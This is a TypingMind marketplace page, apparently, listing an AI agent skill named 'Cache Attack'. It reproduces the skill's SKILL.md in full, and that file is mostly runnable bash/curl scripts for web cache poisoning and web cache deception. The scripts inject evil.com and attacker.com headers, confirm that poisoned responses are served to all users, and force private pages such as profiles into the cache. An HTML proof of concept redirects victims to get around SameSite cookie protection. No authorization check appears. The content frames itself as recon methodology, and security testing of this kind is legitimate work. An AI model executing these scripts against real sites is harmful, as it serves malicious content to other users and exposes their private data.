Cache Attack 标志

Cache Attack

社区热门
uphiago
cache-attack

Poison CDN cache or deceive when X-Cache header is detected.

Add to TypingMind

概览

发布者uphiago
代码仓库recon-skills
技能名称cache-attack
星标数
1.3K
复刻数
213
附带文件
仅含指令
许可协议MIT
链接
  • Markdown 格式的指令

    模型按需加载 SKILL.md 文件,因此只有在请求确实与该技能匹配时才会消耗 Token。

  • 兼容任何大语言模型

    AI 技能采用纯 Markdown,而非特定提供商的代码,因此可搭配 GPT、Claude、Gemini、Grok 或本地模型使用。

  • 指令自成一体

    模型所需的一切都包含在指令中,无需同步额外文件。

  • 开源

    由 uphiago 发布于 GitHub。请在安装前查看技能的源文件。

安装

在 TypingMind 中安装 Cache Attack AI 技能,即可搭配任意大语言模型使用;也可以将其放入其他支持读取 SKILL.md 的智能体中。

1

安装到 TypingMind

TypingMind 可直接从 GitHub 文件夹安装技能:读取 SKILL.md,打包资源文件,并将结果保存在本地。

  1. 打开应用,前往“插件 → 技能”。
  2. 选择“从 GitHub 安装”。
  3. 粘贴下方的技能文件夹 URL 并确认。
    https://github.com/uphiago/recon-skills/tree/main/recon/cache-attack
  4. 请在每个需要使用该技能的聊天中启用它。
依次选择“插件 → 技能 → 添加技能 → 从 GitHub URL 导入”,然后粘贴文件夹 URL 并点击“继续”。
2

安装到其他智能体

任何支持 Agent Skills 格式的智能体都可以使用此技能,只需将文件夹复制到该智能体的技能目录中。

Claude Code — .claude/skills
git clone --depth 1 https://github.com/uphiago/recon-skills.git /tmp/recon-skills
mkdir -p .claude/skills
cp -r /tmp/recon-skills/recon/cache-attack .claude/skills/cache-attack
复制后,请重启 Claude Code,以加载新技能。

在 TypingMind 中使用此技能

在任意 TypingMind 聊天中启用 Cache Attack,后续即可交由模型处理。技能的名称和描述会放在系统提示词中,一旦请求匹配,模型就会自动加载完整指令,无需您手动调用,且在实际使用前不会消耗 Token。

一旦请求与技能匹配,模型就会自动加载 Cache Attack。

兼容任何 AI 模型

AI 技能是纯 Markdown 指令,而非特定提供商的代码,因此 Cache Attack 不局限于最初适配的模型。只需在 TypingMind 中安装一次,即可搭配 GPT-5、Claude、Gemini、Grok、DeepSeek、Mistral、Llama 或您自行运行的本地模型使用,全程使用您自己的 API 密钥。

  • 仅在需要时加载

    系统提示词中仅包含技能名称和描述。首次遇到匹配的请求时才会加载完整指令,因此技能未使用时,这些指令不会消耗 Token。

  • 在聊天中切换模型

    技能是指令而非代码,因此切换模型不会导致技能失效,新模型会读取同一个 SKILL.md。

技能指令

这是模型会加载的 SKILL.md 内容。请在安装前阅读,因为技能就是模型将遵循的指令。

Cache Attack Skill

Web Cache Poisoning (WCP) and Web Cache Deception (WCD) methodology. WCP poisons cached pages with malicious content served to other users. WCD tricks the cache into storing sensitive pages that the attacker can then read. Both techniques exploit CDN and reverse-proxy caching behavior on CloudFront, Cloudflare, Fastly, Varnish, and Nginx.

When to Use

  • Target uses a CDN (CloudFront, Cloudflare, Fastly) or reverse proxy (Varnish, Nginx cache).
  • Headers show X-Cache, Age, cf-cache-status, or X-Cache-Hits.
  • After surface recon finds no direct vulnerabilities — pivot to infrastructure layer.
  • Target allows file extension manipulation in URL paths (.css, .json, .js).

Prerequisites

  • terminal with curl.
  • Cache buster parameter for safe testing (?cb=RANDOM).
  • Patience: cache poisoning requires precise timing and may need multiple attempts.

How to Run

bash
# Phase 1: Detect cache
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/" | grep -iE "age|x-cache|cf-cache-status|via|server"

# Phase 2: Test cache storage (two identical requests)
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/?cb=TEST1" | grep -iE "x-cache|cf-cache-status"
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/?cb=TEST1" | grep -iE "x-cache|cf-cache-status"
# Second response should show HIT if caching works

# Phase 3: Test unkeyed header reflection
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/" -H "X-Forwarded-Host: evil.com" | grep -i "location\|evil.com"

Quick Reference

Web Cache Poisoning (WCP) — attacker poisons cache for victims

Reflection LocationImpactSeverity
<link rel="canonical">SEO poisoningMedium
<script src="...">XSS (stored in cache)Critical
<meta property="og:url">Phishing (link preview)High
Location: headerMass open redirectHigh
<form action="...">Credential theftHigh
<link rel="stylesheet">CSS injectionMedium

Web Cache Deception (WCD) — victim's sensitive page cached, attacker reads it

TechniqueExampleSeverity
Extension forcing/profile.php/.cssCritical
Path delimiter/profile.php;.cssCritical
Query string/profile?cb=123.cssHigh
URL encoding/profile%2f..%2findex.cssHigh

Procedure

Phase 1 — Detect Cache

bash
TARGET="$1"

echo "[*] Cache detection on $TARGET"

# Check for cache headers
RESP=$(curl -skI --max-time 10 --connect-timeout 10 "https://$TARGET/" 2>/dev/null)

echo "Cache headers:"
echo "$RESP" | grep -iE "age|x-cache|cf-cache-status|via|x-served-by|x-cache-hits|x-timer|server"

# Deduce CDN
if echo "$RESP" | grep -qi "cloudfront"; then
  echo "[+] CloudFront detected — test WCD with path delimiter tricks"
elif echo "$RESP" | grep -qi "cloudflare"; then
  echo "[+] Cloudflare detected — test WCP with unkeyed headers"
elif echo "$RESP" | grep -qi "varnish\|x-cache"; then
  echo "[+] Varnish detected — test WCD with extension forcing"
elif echo "$RESP" | grep -qi "akamai"; then
  echo "[+] Akamai detected — test WCP with X-Forwarded-Host"
fi

# Confirm caching with two identical requests
echo ""
echo "[*] Cache storage test:"
CACHE_BUSTER="cb=$(date +%s)"

echo -n "  Request 1: "
curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" "https://$TARGET/?$CACHE_BUSTER" -H "X-Cache-Debug: 1"
echo ""
sleep 2

echo -n "  Request 2: "
curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "X-Cache: %header{x-cache} | Age: %header{age}" "https://$TARGET/?$CACHE_BUSTER" 2>/dev/null
echo ""

# Test Age increment on repeated requests (no cache buster)
echo ""
echo -n "  Request 1 (no cb): "
AGE1=$(curl -skI "https://$TARGET/" 2>/dev/null | grep -i "^age:" | awk '{print $2}' | tr -d '\r')
echo "Age: ${AGE1:-none}"

sleep 3
echo -n "  Request 2 (no cb): "
AGE2=$(curl -skI "https://$TARGET/" 2>/dev/null | grep -i "^age:" | awk '{print $2}' | tr -d '\r')
echo "Age: ${AGE2:-none}"

if [[ -n "$AGE1" && -n "$AGE2" && "$AGE2" -gt "$AGE1" ]]; then
  echo "  [+] Age increments confirmed — cache is STORING responses"
fi

Phase 2 — Find Unkeyed Inputs (WCP)

bash
TARGET="$1"
CACHE_BUSTER="cb=$(date +%s)"

# 15 unkeyed headers to test
UNKEYED_HEADERS=(
  "X-Forwarded-Host: evil.com"
  "X-Forwarded-Scheme: http"
  "X-Forwarded-For: 127.0.0.1"
  "X-Host: evil.com"
  "X-Original-URL: /admin"
  "X-Rewrite-URL: /admin"
  "Forwarded: for=evil.com"
  "X-Forwarded-Port: 8443"
  "X-Amz-Website-Redirect-Location: /malicious"
  "X-HTTP-Method-Override: POST"
  "X-HTTP-Method: DELETE"
  "X-Method-Override: PUT"
)

echo "[*] Testing ${#UNKEYED_HEADERS[@]} unkeyed headers..."

for header in "${UNKEYED_HEADERS[@]}"; do
  key=$(echo "$header" | cut -d: -f1)
  value=$(echo "$header" | cut -d: -f2- | xargs)

  resp=$(curl -skI --max-time 10 --connect-timeout 10 "https://$TARGET/?$CACHE_BUSTER" -H "$header" 2>/dev/null)
  if echo "$resp" | grep -qi "$value"; then
    echo "  [REFLECTED] $key: $value"
    echo "    $(echo "$resp" | grep -i "location\|$value" | head -1)"
  fi
done

Phase 3 — Prove Cache Storage (WCP)

bash
TARGET="$1"
MALICIOUS="evil.com"
PAYLOAD="x-forwarded-host: $MALICIOUS"
CACHE_BUSTER="cb=POISON_TEST_$(date +%s)"

echo "[*] Cache poisoning test with $PAYLOAD"

# Step 1: Poison — send request with malicious header
echo "[1] Poisoning cache..."
POISON_RESP=$(curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/?$CACHE_BUSTER" -H "$PAYLOAD" -o /dev/null -w "%{http_code}" 2>/dev/null)
echo "  Poison request: HTTP $POISON_RESP"

sleep 2

# Step 2: Confirm cache HIT
echo "[2] Checking cache..."
CACHE_HIT=$(curl -skI "https://$TARGET/?$CACHE_BUSTER" 2>/dev/null | grep -i "x-cache.*hit\|cf-cache-status.*HIT")
if [[ -n "$CACHE_HIT" ]]; then
  echo "  [+] Cache HIT confirmed: $CACHE_HIT"

  # Step 3: Read cached response (without the header)
  echo "[3] Reading cached response..."
  CACHED=$(curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/?$CACHE_BUSTER" 2>/dev/null)
  if echo "$CACHED" | grep -q "$MALICIOUS"; then
    echo "  [CRITICAL] POISON STORED IN CACHE!"
    echo "  Malicious content served to all users of this URL"
  else
    echo "  [-] Poison not stored (header is keyed or response doesn't reflect)"
  fi
else
  echo "  [-] Cache MISS — response not cached"
fi

Phase 4 — Web Cache Deception (WCD)

bash
TARGET="$1"
SENSITIVE_URL="$2"  # e.g., /profile or /wp-json/wp/v2/users

echo "[*] WCD test on $TARGET"

# Test extension forcing
for ext in ".css" ".js" ".json" ".png" ".ico"; do
  WCD_URL="${SENSITIVE_URL}${ext}"
  echo "  Testing: $WCD_URL"

  # Step 1: Force cache with fake static extension
  curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET$WCD_URL" -H "X-Forwarded-Host: attacker.com" \
    -H "Accept: text/css,*/*" -o /tmp/wcd_test_$$.txt 2>/dev/null

  # Step 2: Check if sensitive data was cached
  CACHE_CHECK=$(curl -skI "https://$TARGET$WCD_URL" 2>/dev/null | grep -i "x-cache.*hit\|cf-cache-status.*HIT")
  if [[ -n "$CACHE_CHECK" ]]; then
    echo "  [CRITICAL] $WCD_URL CACHED — sensitive data stored!"

    # Check content
    if grep -qiE "email|password|token|user|auth" /tmp/wcd_test_$$.txt; then
      echo "  [CRITICAL] SENSITIVE DATA IN CACHED RESPONSE!"
      head -5 /tmp/wcd_test_$$.txt
    fi
  fi
  rm -f /tmp/wcd_test_$$.txt
  sleep 0.5
done

# Test path delimiter tricks
for delim in ";.css" "%2f..%2findex.css" "..;.css"; do
  WCD_URL="${SENSITIVE_URL}${delim}"
  code=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" "https://$TARGET$WCD_URL" 2>/dev/null)
  [[ "$code" != "404" ]] && echo "  [POTENTIAL] $WCD_URL → HTTP $code"
  sleep 0.3
done

Phase 5 — SameSite Lax Bypass + WCD Combo

bash
# If the target uses SameSite=Lax cookies, WCD alone won't work because
# cookies aren't sent on cross-site requests. But SameSite=Lax sends
# cookies on TOP-LEVEL NAVIGATION (meta refresh, anchor click, form GET).

# Combo payload:
cat > wcd_samesite_poc.html << 'HTMLEOF'
<html>
<head>
  <!-- Victim visits this page, auto-redirects to WCD URL with cookies -->
  <meta http-equiv="refresh" content="0; url=https://TARGET/profile.php/.css">
</head>
<body>
  <p>Redirecting...</p>
  <!-- Backup: anchor tag if meta refresh fails -->
  <a id="fallback" href="https://TARGET/profile.php/.css">Click here</a>
  <script>document.getElementById('fallback').click();</script>
</body>
</html>
HTMLEOF

echo "[+] WCD + SameSite bypass PoC saved to wcd_samesite_poc.html"

Pitfalls

  • Reflection ≠ cache poisoning. Just because a header is reflected doesn't mean it's CACHED. Always prove storage with a second request.
  • Cache buster is mandatory. Never test without a unique cache buster per test, or you'll poison real user cache.
  • Cache Key Normalization. CDNs may normalize URLs before caching. Test case variations, trailing slashes, and ignored parameters.
  • Fat GET smuggling. Some CDNs accept 4000+ character query strings. The oversized request may be handled differently by origin vs cache.
  • Parameter Cloaking. Duplicate parameters (e.g., ?p=1&p=2) may cause cache key confusion.

Verification

  • WCP: Second request to the poisoned URL (without malicious header) MUST serve the poisoned content.
  • WCD: Cached response MUST contain sensitive user data (PII, session tokens, API responses).
  • Cache HIT MUST be confirmed via X-Cache: Hit or cf-cache-status: HIT header.
  • Always restore clean state: flush your test cache entries after verification.

常见问题

Cache Attack AI 技能有什么作用?

Poison CDN cache or deceive when X-Cache header is detected.

为什么在 TypingMind 中使用 Cache Attack?

因为您只需安装一次,就能搭配任何模型使用。Cache Attack 采用纯 Markdown 格式,而非特定提供商专用的代码,因此同一技能可用于 GPT-5、Claude、Gemini、Grok 或本地模型。您甚至可以在聊天中途切换模型,而不会影响技能的正常使用。TypingMind 使用您自己的 API 密钥,因此您直接向提供商付费,而不是按席位订阅;您的技能和聊天记录也都保留在您自己的存储空间中。

如何在 TypingMind 中安装 Cache Attack?

在 TypingMind 中打开“插件 → 技能 → 从 GitHub 安装”,然后粘贴 https://github.com/uphiago/recon-skills/tree/main/recon/cache-attack。TypingMind 会读取其中的 SKILL.md,并将其安装为技能,供您在各个聊天中按需启用。

哪些 AI 模型可以使用 Cache Attack?

您在 TypingMind 中连接的任何模型都可以。AI 技能采用纯 Markdown 指令,而非特定提供商专用的代码,因此 GPT、Claude、Gemini、Grok 和本地模型都能在请求匹配时加载此技能。

Cache Attack 可以搭配多少个 AI 模型使用?

数量不限。只要模型支持技能,您就可以将它与 Cache Attack 搭配使用。GPT、Claude、Gemini、Grok、DeepSeek、Mistral、Llama 等模型都可以通过您自己的 API 密钥接入 TypingMind。

Cache Attack AI 技能免费吗?

是的。uphiago 已在 GitHub 上根据 MIT 许可证发布了该技能。您只需向自己的 AI 提供商支付所用 Token 的费用。

什么是 AI 技能?

AI 技能是一组可复用的指令,用于教会 AI 模型完成某项特定任务。它遵循开放的 Agent Skills 格式:包含名称和描述的 SKILL.md 文件,以及模型可能需要的脚本、模板或参考文件。模型仅在您的请求与技能匹配时才会读取这些指令,因此已安装的技能在使用前不会产生任何费用。

AI 技能与插件或 MCP 服务器有何不同?

插件或 MCP 服务器为模型提供可调用的新工具,也就是在某处运行并返回结果的代码。AI 技能则为模型提供知识和流程:如何处理任务、遵循哪些步骤,以及怎样的输出才算优质。技能采用纯 Markdown 格式,因此不需要服务器、API 密钥或运行时环境,并且适用于任何模型。

查看全部

立即创建您自己的 AI 工作区

订阅我们的电子简报,获取新功能和后续赠奖活动的通知 👇